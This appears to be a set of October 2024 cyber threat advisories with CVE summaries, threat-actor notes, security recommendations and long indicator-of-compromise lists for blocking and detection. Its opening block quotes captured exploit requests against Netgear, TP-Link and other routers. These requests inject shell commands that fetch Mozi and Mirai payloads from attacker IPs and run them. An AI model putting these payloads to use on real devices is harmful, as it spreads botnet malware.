/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://102.51.2.177:34281/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://192.113.100.161:35388/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.207.255.114:43889/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

http://172.20.25.210/login.cgi?cli=aa%20aa%27;cd%20%2Ftmp%20%7C%7C%20cd%20%2Fvar%2Frun%20%7C%7C%20cd%20%2Fmnt%20%7C%7C%20cd%20%2Froot%20%7C%7C%20cd%20%2F%3B%20wget%20http%3A%2F%2F195.62.32.138%2Fmiraigg.sh%3B%20curl%20-O%20http%3A%2F%2F195.62.32.138%2Fmiraigg.sh%3B%20chmod%20777%20miraigg.sh%3B%20sh%20miraigg.sh%3B%20tftp%20195.62.32.138%20-c%20get%20miraigg.sh%3B%20chmod%20777%20miraigg.sh%3B%20sh%20miraigg.sh%3B%20tftp%20-r%20miraigg2.sh%20-g%20195.62.32.138%3B%20chmod%20777%20miraigg2.sh%3B%20sh%20mirai

/shell?cd+/tmp;rm+-rf+\*;wget+http://117.247.26.26:45365/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F45.66.231.148%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-10-07-003**

**Vulnerability in Switch Models by PLANET Technology**

An access control vulnerability has been discovered in certain switch models by PLANET Technology that allows to download and upload firmware and system configurations, ultimately gaining full control of the devices. The affected products are GS-4210-24PL4C hardware 2.0 and GS-4210-24P2S hardware 3.0. Security updates are available.

CVE ID: CVE-2024-8456 (Critical)

**Vulnerability in Oceanic Software ValeApp**

A session fixation vulnerability has been discovered in Oceanic Software ValeApp that allows brute force & session hijacking. The affected versions are ValeApp before v2.0.0.

CVE ID: CVE-2024-8643 (Critical)

**Vulnerability in Oceanic Software ValeApp**

A SQL injection vulnerability has been discovered in Oceanic Software ValeApp that allows brute force & session hijacking. The affected versions are ValeApp: before v2.0.0.

CVE ID: CVE-2024-8607 (Critical)

**Vulnerability in Tenda G3 Router**

A Remote Code Execution (RCE) vulnerability has been discovered in Tenda G3 Router. The affected version is Tenda G3 Router firmware v15.03.05.05.

CVE ID: CVE-2024-46628 (Critical)

**Vulnerability in Tenda**

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda O6 V3.0 firmware V1.0.0.7(2054).

CVE ID: CVE-2024-46049 (Critical)

**Vulnerability in Zoom Products**

A privilege escalation vulnerability has been discovered in Zoom Desktop Client for Windows, Zoom VDI Client for Windows and Zoom Meeting SDK for Windows.

CVE ID: CVE-2024-24691 (Critical)

**Vulnerability in Progress Telerik UI for WPF**

An insecure deserialization vulnerability has been discovered in Progress Telerik UI for WPF. The affected versions are Progress Telerik UI for WPF versions prior to 2024 Q3 (2024.3.924).

CVE ID: CVE-2024-7576 (Critical)

**Vulnerability in Mitsubishi Electric's Equipment**

A Denial of Service (DoS) has been discovered Mitsubishi Electric's Equipment- MELSEC iQ-F FX5-OPC. All versions of MELSEC iQ-F FX5-OPC are affected. The mitigations are available.

CVE ID: CVE-2024-0727 (High)

**Vulnerability in SCHNEIDER Elektronik's 700 series**

A missing authentication for critical function vulnerability has been discovered in SCHNEIDER Elektronik's 700 series. The affected versions are  SCHNEIDER Elektronik's 700 series up to version 0.1.17.6. Security update is available.

CVE ID:CVE-2024-35293

**Vulnerability in Zimbra Collaboration**

A vulnerability has been discovered in Zimbra Collaboration (ZCS). The affected products are Zimbra Collaboration (ZCS) before 8.8.15 Patch 46, 9 before 9.0.0 Patch 41, 10 before 10.0.9, and 10.1 before 10.1.1.

CVE ID: CVE-2024-45519 (Critical)

**Vulnerability in Delta Electronics Product DIAEnergie**

SQL injection vulnerabilities have been discovered in Delta Electronics product, DIAEnergie.  Successful exploitation of these vulnerabilities could allow to retrieve records or cause a Denial of Service (DoS). The affected products are DIAEnergie versions v1.10.01.008 and prior. Security update is available.

CVE ID: CVE-2024-43699(Critical), CVE-2024-42417(High)

**Multiple vulnerabilities in TEM Opera Plus FM FamilyTransmitter**

Multiple vulnerabilities have been discovered in TEM Opera Plus FM Family Transmitter. Successful exploitation of these vulnerabilities could allow to perform Remote Code Execution (RCE). The affected product is Opera Plus FM Family Transmitter version 35.45.

CVE ID:CVE-2024-41988 (Critical), CVE-2024-41987 (High)

1. **TA-MAW-2024-10-07-005**

It has been observed that threat actors are using ChromeLoader, a browser hijacker/adware that harvests and redirects search traffic via malvertising, tricking users to download a Microsoft Software Installer (MSI) file that contains malicious code. Adversary activity appears to be leveraging MSI files that masquerade as free PDF tools, such as PDFFlex & to a lesser degree, ManualsViewer, that allow users to view, convert, and modify PDFs. Threat actors campaign relies on malvertising that directs victims to websites offering functional PDF readers and converters, which subsequently hide malicious code in an MSI file, such as “PDFFlex-v3.402.1237.0\_50268700.msi”. After execution of the MSI file, the “node.exe”, the executable file for Node.js, a cross-platform, open-source JavaScript runtime environment on Windows operating systems, called for what appears to be installation and update processes. For persistence and execution mechanisms the adversary will start the program minimized, disabling the execution of AutoRun commands. Relying on malvertising to initiate drive-by downloads of these PDF readers/tools allows threat actors to impact high numbers of victims across several verticals.

For gaining initial access, threat actors use the following ways:

Social engineering tactics

QR codes posted on social media sites

Malvertising

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

**MSI files:**

bed2e803af396cf8cc937dd23ce7c198ea33a0718858cdf747293d8375b0a2df

0dbc1c15cefbcd850388cc9a31b690cc1254b9e724f9cd8cd9165e775df48307

c6f1031a5c4aca28d3d6c0f4a90b59796eb871d3a0b0736792c4fe581be018a8

98d94c76711e9f85a5ccfd1d17fa0a5411c13df9563e81bdf41c2a0dddd58ade

9c5d756045fd479a742b81241ccf439d02fc668581a3002913811a341278de43

**Update.js:**

501571c21ef631b6bb77b0866bde07012fe46ffe58235695c7e9df6302084c6a

9aaac00cb6888f564eba5dd7f59990ea14b910d1eec7a8b395cd25d6b5c26e82

85b8f4be897a8302de5950e6530d384e6c9f05249aea19d07e7dd6cf9e3e1b95

**Node.exe:**

839ef38f0ed23a9dcca4f0a807e205f95e26370f35ec9ea9915721c06eda04f2

**URL:**

https://files.pdftoolapp.com/node.exe

**Domains:**

drrjmzrq94qru.pdftoolplus.com

d2fdplctfh7wq2.freegetpdf.com

d28ita4gt6q39x.easygetpdf.com

dl.pdfreader.live

dl.getpdfquick.com

dl.pdfreader.live

dl.easyconvertpdf.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-10-08-002**

It has been observed that the Blackout ransomware group operates an extortion blog on the dark web called "name-and-shame," where they list their victims. The blog is written entirely in English and can only be accessed via the Tor browser. While the specific Tools, Tactics, Techniques, and Procedures (TTPs) used by the Blackout ransomware group in their attacks remain unknown.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

HASHES:

ae121f28c05037d09f85f8b7ef9930f2d62c8f0e6e6a8d7ff092932ddbb1ad23

URL:

black3gnkizshuynieigw6ejgpblb53mpasftzd6pydqpmq2vn2xf6yd.onion

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-10-08-003**

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Malware is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

Common Features of Mythic Malware:

Persistence

Remote access and data theft

Modular architecture and customizable

Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

128.199.59.209

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-10-08-003**

t has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

www.email.gov.in.igov.ink

www.email.gov.in.webiaf.link

email.gov.in.gov-in.mywire.org

mail.eoffice.ink

\*.igov.ink

\*.webiaf.link

\*.gov-in.mywire.org

\*.eoffice.ink

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-10-08-004**

**Vulnerability in Cloudlog**

A SQL injection vulnerability has been discovered in Cloudlog. The affected version is Cloudlog 2.6.15.

CVE ID: CVE-2024-45999 (Critical)

**Vulnerability in DataEase**

A Remote Command Execution (RCE) vulnerability has been discovered in DataEase. The affected versions are DataEase prior to 2.10.1.

CVE ID: CVE-2024-46997 (Critical)

**Vulnerability in Opti Marketing WordPress Plugin**

A SQL injection vulnerability has been discovered in Opti Marketing WordPress plugin. The affected versions are Opti Marketing WordPress plugin through 2.0.9.

CVE ID: CVE-2024-6928 (Critical)

**Vulnerability in weForms**

A missing authorization vulnerability has been discovered in weForms. The affected versions are weForms: from n/a through 1.6.20.

CVE ID: CVE-2024-30512 (Critical)

1. **TA-TAG-2024-10-08-001**

It has been observed that threat actor Z-BL4CX-H4T has been involved in several high-profile cyberattacks, including hacking incidents targeting Indian government websites and other international entities. Adversary uses various cyberattack methods, including defacement, data breaches and Denial of Service (DoS) attacks. Threat actors often announce attacks and share details on platforms like Telegram Messenger and boast about exploits and share compromised data.

Recommendations:

Install update and patches regularly.

Install and regularly update antivirus software.

Do not open untrusted links and email attachments without first verifying their authenticity.

Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible.

Firewall and other network solutions should be adjusted to prevent traffic from being allowed on non-conventional ports.

Implement Multi-Factor Authentication (MFA).

Enforce use of strong passwords and limit user access through the principle of least privilege.

Establish a Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and Domain Keys Identified Mail (DKIM) for your domain, which is an email validation system designed to prevent e-mail spoofing.

Never click and execute email attachments from unknown sources. Users should take care when enabling macros for internal office files.

Never run unknown files with exaggerated titles.

1. **TA-MAW-2024-10-08-006**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

23.228.72.18

103.161.34.97

116.99.36.102

176.97.210.238

45.66.231.148

103.14.226.142

50.3.182.152

219.154.155.159

103.149.87.69

5.59.248.92

45.202.35.94

182.123.249.97

196.188.115.241

45.202.35.88

154.216.17.217

45.230.66.158

42.231.186.122

14.153.208.227

113.221.98.110

45.230.66.140

122.188.141.104

87.121.112.42

113.236.118.78

5.59.248.127

119.179.216.25

103.245.236.146

112.242.16.129

27.204.225.161

110.24.36.130

89.32.41.95

154.216.17.171

5.230.226.143

119.163.240.244

112.247.80.215

42.87.113.185

104.168.101.215

45.230.66.48

221.14.13.46

154.216.17.169

87.120.166.40

61.176.211.14

42.7.221.86

125.41.72.105

24.152.49.140

119.180.14.73

31.172.87.248

154.216.19.10

115.56.59.132

182.119.203.42

115.49.28.58

14.153.143.138

154.216.19.99

123.233.130.92

101.108.245.166

113.230.233.59

213.66.44.166

5.59.249.236

45.142.104.70

42.4.41.54

112.248.101.18

221.202.27.46

221.14.52.172

61.53.119.176

45.202.35.36

42.224.27.111

163.142.78.13

111.38.106.19

182.121.251.227

103.245.236.188

45.230.66.134

123.4.67.14

113.221.41.151

154.216.19.57

188.113.75.97

116.140.172.224

39.90.147.4

125.43.91.182

176.119.85.7

115.55.242.200

45.82.120.118

160.119.156.16

182.112.151.202

93.123.72.16

39.90.147.121

45.230.66.12

119.180.71.198

39.81.224.20

115.59.87.251

182.121.106.86

170.78.39.109

119.186.209.35

42.7.214.251

222.137.191.58

193.84.71.195

175.107.0.159

125.46.135.227

112.248.114.176

5.59.249.210

112.248.112.128

125.44.215.48

124.94.171.237

221.234.143.242

182.112.138.146

115.56.151.61

186.93.147.36

182.127.181.215

60.219.184.101

42.5.240.2

45.230.66.132

95.137.247.57

85.252.77.8

URLs:

http://103.161.34.97/

http://50.3.182.152/

http://103.149.87.69/

http://87.121.112.42/

http://110.24.36.130:45677/

http://89.32.41.95/

http://154.216.17.169/

http://45.142.104.70/

http://188.113.75.97:46387/

http://39.81.224.20:39068/

http://119.186.209.35:41371/

http://193.84.71.195/

http://5.59.249.210/

http://221.234.143.242:58077/

http://60.219.184.101:39589/

Domains:

bsnltowerinstallations.in

pm-kusumtatapowersolar.in

rbiinn.org.in

dccrsorgi.in

rrcgovresult.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-10-09-007**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

novo.doxbin.top

lollllllllllllllllll.kro.kr

cnc.ziparchive.xyz

IPs:

45.13.227.129

93.123.85.221

Hashes:

027728b28056bcd5549f443abac8dac77f81757a0844446d2c4483c03b74fad0

0702826502491a2340b1b53e0da06b2091c9b51216afdb7d1bca141b43fc16e0

103bf45839a43180d4a20edb1beb6005724fdbdba82ed5f5105677085677ae8f

14c33a07b8fbd82fd47a0705dc198ad570145384d2813a4588733fe7c65143ed

1e29f11591318113de0290637129464a7fb0fb6aa6963f8cc77f75d24a5c0c4f

2253d6b556d9876c7b53d300fc97632dab759b81ab5833db4833929691ebd6d1

23c0d5b637c4a5559921daaf7641f4c49a8e88c70af6c8f98614f6c2499e554f

26a63557a2ba5a59f5689aea5c490b3ef7afba3ce9591c664d53e5cd5ee3f62d

2fe5f04de4f461777747fcf39b847223f500554df0466d639ecdc263ee7619d6

360937a7a1d8e37bf94bb2a5b58fef21807f39101ea49eb064fed8c85f918125

36270127defc748918279799f3a33ba621d6ee8c40bace1c50d8c185b5eea650

42ebfee8122fef2edb0f2da71f99ada0655af60e62ebc6d9afe4e5c97f865eec

45cbec358707533ee3b93b60707fc7ab7231f673b14868deae53b0ab5ba4ebb0

51175dc32025559a4d1577c87f8f011da68d816159bd793242c6c9db7e20b705

5a8607ec0194c2e4fb253ee073435985f460d39d7a5de896bef3110d47eb0e8d

5bfabee9c433c0dcdce4faf099b0ce396bd473b5af8602827c1b961ec8bd1402

5f60cbb0c90d72cd45e0241b7c81b7e384dc7ff61542edf02810732560a6920f

5f8de650a2f1ff4b0578a194fbe4daf4be6075919e7ef718fa030f67e54528c4

648555a9b0940b9bc4e34e59ca1d2e714c08a14808869168f100e7326e17b9d4

64992833ac7b15812fbc447147f5117aa32d86ccf9aeb6909f164f4f865f0f75

6967e4a3c61d6b55bbeed424ae9688eb4eddb23003bb5d837386a93552fbe026

69e2b8c598c460d130058c5657d9213f67d7598bfc8a74e902464790aaedcee7

71e63ea07330c0d657dbcecf1310e662c4340e5937c637c9b26a2449b885e3c7

7401573ee761b515a7717db3806db415e62d6c7b0e2ced694f855b6ce0591d95

74775a58f548f28bca87dffcdea084608b0ea873a69e682792184e6d4e773366

7783a8e6523311034c4b3a537190f200fcd8fe6e22497727d47d4db658fdd76b

78efd5c84627d1cc3a3fe7f8e1bce38bd475b132e407345f76d2f8f625b1ed86

892a5f674a85d73303e8fb80dd2bbab546fe76a88602d0b27bb02ee3879e96fe

89d67164b47459d6f0164c066428bbc9fe0dad73add4b89b362c38e6fced19b5

89ec950829fa34b56c0cf020978054495d569115ff628313c9fc7bbae115f0f8

8df9380f4f632f30de62219ac3d3b97562390b2b7191157241102670e39ec61d

8eefb9df7d9922171705c4f00b81eb09fbb2c380d6e9d4b8f760d79f223e7030

91e5d39354ad9e1460f2ba2ffb2462f233f88b107916d8caa65e3fb07586eda1

9405c49c2052e40bac04e92e24a3266c3e200523aba9221b60b7b388155b0f32

941fab9b8b91ab89b75a106682c240f9be400aa42b226bcddffe31eae488b42b

9c53b15cf845bf1196bb6125262da25c4d30f7a2c084e853fb1b5d9856045238

ab4dd273879a81cfc1cf09cc016aec3d083cdc0e94f37e961e1cbdd90545b8de

bb7bd74b830d98338a3a49626f02806e2b901a4a491284f9da92e34e2391c20c

bd029dcacb2db7c3f192be3d0855de6fbe02b173aaf4d3d1b838f900898ffdbc

c70e436fda47fb93a5c62c6b87179625c6996eb573f1359d81cbbe446c5c72b0

c84d14404a9211b91d52e44b4865407f0efc6da61bbe5dc1718f33f8230e6510

d1a0d3917bcfd8ee2b458a80501b2f047d822d939a18cf41532c4af812af9021

d7dde25dd2878575a9f4b47c70665cd27ed7a713c39d7163a034ece6a09e0651

d9367261bd61287bbed302bf621f641678627ce6eedc90ce2e840d2afe8b5f03

da6efee1cc0190ede9faa1156eebbc8b41b465430ee648f05c32b723de43b3b7

db12afefe045b4e72a46818431dec615af71ddf1b843ff832ce0e8f9ed91634f

de0eb1e3f962179786edcdba9de547696bdb6e997f00a5529caf537112d734ae

deb4f0ab64aef5009a8f87b06ea6ef878a2d8253a31490b1c85749001cee88d4

e5bdf8673189aa17307d5373e0ea771efc75b343cdddfd4e9e3a471b4a6a577a

eb1bfbdd7a823619b9a87cd9ea0bc09794932bc1befdf6e8f6fa2fd907b90453

f09de5dc2e79af212f02816b1bc6437c0bdb4fb3da42c97121e577251412438d

f342da0cb068987972db665959aa27367d9dc53865e206aa571d14c8c262e91c

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-10-09-004**

APT36, also known as Transparent Tribe, is using CrimsonRAT (Remote Access Trojan) malware to compromise systems. The malware allows remote control of infected systems, steal sensitive information, log keystrokes, capture screenshots and exfiltrate data.

Common Features of APT36 Threat Actor:

Spear-Phishing (highly targeted and convincing phishing emails to trick victims)

Information Theft (documents, credentials, and personal data)

Remote Access

Credential Harvesting

Data Exfiltration

Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

152.105.206.128

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-10-09-005**

A Critical OS command injection vulnerability (CVE-2024-9441) has been discovered in Linear eMerge e3-Series Products. Successful exploitation can execute arbitrary OS commands via the login\_id parameter when invoking the forgot\_password functionality over HTTP. The affected versions are Linear eMerge e3-Series through version 1.00-07.

Recommendations:

Install and regularly update antivirus software.

Install Updates and Patches regularly.

Conduct regular backup practices and keep those backups offline or on a separate network.

Implement Multi-Factor Authentication (MFA).

1. **TA-PHI-2024-10-09-004**

It has been observed that adversaries are targeting government / defence personnel

using spoofed / compromised email IDs, malicious domains, Phishing web pages and

Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

sebi-gov.info

mahagov.info

gov.in.nha.in

ail-gov.ink

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-10-10-005**

Mythic malware, an advanced, customizable Command and Control (C2) framework,

primarily used by adversaries to control and manage malware operations. Malware is a

free-to-use, open-source tool which provides cross-platform payload creation options

(Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open

source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the

malware is known for its flexibility. This allows attackers to deploy various plugins and

modules tailored to specific objectives.

Common Features of Mythic Malware:

Persistence

Remote access and data theft

Modular architecture and customizable

Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address:

178.128.89.173

170.64.225.181

68.183.195.95

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-10-10-006**

It has been observed that threat actors are exploiting the Cross-Site Request Forgery (CSRF) vulnerability in Scott Kingsley Clark Crony Cronjob Manager. Adversaries that take advantage of this vulnerability, in conjunction with CVE-2024-2961, a security issue in glibc's iconv function, can achieve Remote Code Execution (RCE) on the target server.

Recommendations:

Install and regularly update antivirus software.

Install Updates and Patches regularly.

Conduct regular backup practices and keep those backups offline or on a separate network.

Implement Multi-Factor Authentication (MFA).

1. **VA-2024-10-10-007**

It has been observed that a sophisticated malware strain dubbed “Perfctl” is exploiting Remote Command Execution (RCE) vulnerability (CVE-2023-33246) in Apache RocketMQ, a popular messaging and streaming platform for Linux. The malware employs various techniques to avoid detection, that includes, using rootkits to hide from the operating system and admin tools, stopping easily detectable activities when a new user logs in, communicating via Unix socket over TOR, deleting its installation binary after execution, manipulating the Linux process pcap\_loop to prevent traffic recording and suppressing error messages during execution. For persistence, malware ensures it remains on infected machines by modifying login scripts and copying itself to multiple locations.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IPs:

211.234.111.116

46.101.139.173

104.183.100.189

198.211.126.180

Domains:

bitping.com

earn.fm

speedshare.app

repocket.com

Hashes:

656e22c65bf7c04d87b5afbe52b8d800

6e7230dbe35df5b46dcd08975a0cc87f

835a9a6908409a67e51bce69f80dd58a

cf265a3a3dd068d0aa0c70248cd6325d

da006a0b9b51d56fa3f9690cf204b99f

ba120e9c7f8896d9148ad37f02b0e3cb

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-10-10-08**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

27.202.13.138

27.157.170.202

222.245.2.32

23.228.72.18

23.82.16.19

87.120.166.40

117.235.106.148

175.107.0.28

165.231.253.221

122.194.9.234

103.208.230.120

117.235.72.173

120.85.116.37

122.96.31.43

59.89.65.51

120.85.113.9

117.195.81.102

117.207.184.142

59.184.242.114

220.158.159.73

103.110.33.164

146.112.163.45

27.111.75.194

212.102.57.94

117.252.196.90

117.213.123.106

204.8.96.182

183.180.107.146

223.12.205.128

146.112.163.39

23.82.131.19

180.94.34.191

117.216.24.20

113.204.37.36

197.242.156.69

201.145.134.223

209.97.174.70

117.251.169.129

103.97.2.173

68.235.45.61

149.34.248.69

62.141.40.139

112.94.96.153

117.195.50.211

5.59.249.210

91.207.172.243

103.197.115.201

191.252.184.48

116.2.135.171

117.235.151.193

222.137.101.103

5.59.249.18

117.198.8.32

189.236.16.252

139.159.204.138

59.95.87.41

45.115.88.130

119.117.41.195

115.55.130.238

175.164.182.105

206.237.122.44

154.216.17.31

117.222.119.12

108.62.117.81

120.61.30.138

176.97.210.238

192.227.254.212

103.200.87.124

23.82.17.123

117.217.163.217

211.137.88.182

103.53.36.68

117.198.14.211

59.182.126.102

59.184.249.176

112.94.97.33

38.206.0.170

221.229.4.135

122.97.214.222

61.0.185.246

108.62.233.175

122.96.31.158

23.225.156.148

146.112.163.36

68.183.245.101

170.106.141.183

42.233.174.91

103.208.233.91

117.235.243.85

194.163.149.135

101.132.62.1

103.208.230.12

154.213.184.7

102.33.94.177

38.206.131.227

38.205.190.200

113.236.91.14

218.75.31.130

117.206.19.196

49.44.76.138

1.70.96.187

117.242.119.239

120.86.255.249

60.23.236.216

175.107.0.102

103.208.230.21

149.255.15.236

59.88.9.4

185.244.215.241

220.158.158.72

58.47.121.85

103.197.115.220

27.215.51.171

120.86.253.95

126.36.91.130

223.155.34.9

123.11.170.241

139.59.90.176

45.140.192.46

123.176.32.70

67.21.32.148

111.67.101.180

209.242.219.162

120.85.187.21

103.15.254.145

103.203.72.182

102.33.41.117

36.50.176.173

31.6.10.158

59.97.118.106

123.10.131.7

23.105.136.47

199.115.119.69

220.158.159.64

103.238.235.110

64.120.41.226

182.182.107.1

117.254.101.6

120.57.218.232

38.132.103.56

146.190.197.169

212.103.48.14

117.253.59.118

38.95.13.139

154.216.19.99

180.188.227.249

185.152.39.46

117.201.10.96

43.143.237.207

123.129.135.119

45.66.231.148

117.196.118.207

117.209.116.234

92.17.136.88

204.8.96.87

222.140.238.211

182.116.12.87

42.226.69.206

42.234.129.69

222.133.67.10

168.205.75.156

115.48.145.191

147.255.92.27

102.33.65.160

202.170.201.152

149.50.212.213

